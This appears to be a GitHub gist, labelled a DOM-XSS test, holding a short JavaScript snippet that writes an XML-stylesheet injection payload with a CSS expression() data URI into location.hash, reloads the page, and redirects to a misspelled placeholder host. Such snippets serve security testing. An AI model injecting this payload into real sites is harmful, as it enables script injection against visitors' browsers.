Skip to content

Instantly share code, notes, and snippets.

@xsscx
Created October 9, 2016 13:33
Show Gist options
  • Save xsscx/e0f0f5af0c266c02f135d6aaf397cbe4 to your computer and use it in GitHub Desktop.
Save xsscx/e0f0f5af0c266c02f135d6aaf397cbe4 to your computer and use it in GitHub Desktop.
location.hash listener update on change, inject javascript, domxss test
if( 'onHashChange' in window ) {
window.addEventListener('hashchange', getHashValue, false);
function getHashValue() {
return window.location.hash;
}
}
console.log(window.location.hash);
window.location.hash = '#<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>';
console.log(window.location.hash);
window.location.reload(true);
function reloadPageWithHash() {
var initialPage = window.location.pathname;
window.location.replace('https://exmaple.com/#' + initialPage);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment